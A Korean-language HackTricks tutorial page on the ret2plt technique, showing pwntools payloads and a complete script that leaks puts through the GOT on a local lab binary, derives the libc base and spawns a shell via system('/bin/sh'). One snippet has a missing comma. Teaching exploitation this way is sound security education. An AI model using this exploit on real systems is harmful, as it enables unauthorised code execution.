Ret2plt

HackTricks 지원

기본 정보

이 기술의 목표는 PLT에서 함수의 주소를 노출하여 ASLR을 우회할 수 있도록 하는 것입니다. 예를 들어, libc에서 puts 함수의 주소를 노출하면 libc의 베이스가 어디인지 계산하고 **system**과 같은 다른 함수에 액세스하기 위한 오프셋을 계산할 수 있습니다.

이는 pwntools 페이로드를 사용하여 수행할 수 있습니다 (여기에서).

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

puts (PLT에서 주소를 사용)가 호출될 때 puts의 주소가 위치한 GOT(Global Offset Table)의 주소로 호출되는 것에 주목하세요. 이는 putsputs의 GOT 항목을 출력할 때, 이 항목은 메모리에서 puts의 정확한 주소를 포함하게 되기 때문입니다.

또한 exploit에서 main의 주소가 사용되는 방법에 주목하세요. 이렇게 함으로써 puts가 실행을 마치면 바이너리가 종료되는 대신에 다시 main을 호출합니다 (따라서 유출된 주소는 계속 유효할 것입니다).

이 작업이 작동하려면 바이너리가 PIE로 컴파일되어서는 안 되거나 PIE를 우회하기 위한 유출을 찾아야 합니다. 그렇지 않으면 먼저 PIE를 우회해야 합니다.

이 우회의 전체 예제를 여기에서 찾을 수 있습니다. 이것이 해당 예제의 최종 exploit이었습니다:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

다른 예시 및 참고 자료

  • 64비트, ASLR 활성화되어 있지만 PIE가 없는 경우, 첫 번째 단계는 canary의 바이트 0x00까지 오버플로우를 채운 후 puts를 호출하여 릭(Leak)합니다. Canary로부터 ROP 가젯을 생성하여 GOT에서 puts의 주소를 릭하고 system('/bin/sh')를 호출하는 ROP 가젯을 호출합니다.

  • 64비트, ASLR 활성화되어 있지만 canary가 없는 경우, 메인 함수에서의 스택 오버플로우가 발생하는 자식 함수에서 발생합니다. puts를 호출하여 GOT에서 puts의 주소를 릭한 다음 원 가젯을 호출하는 ROP 가젯입니다.

Last updated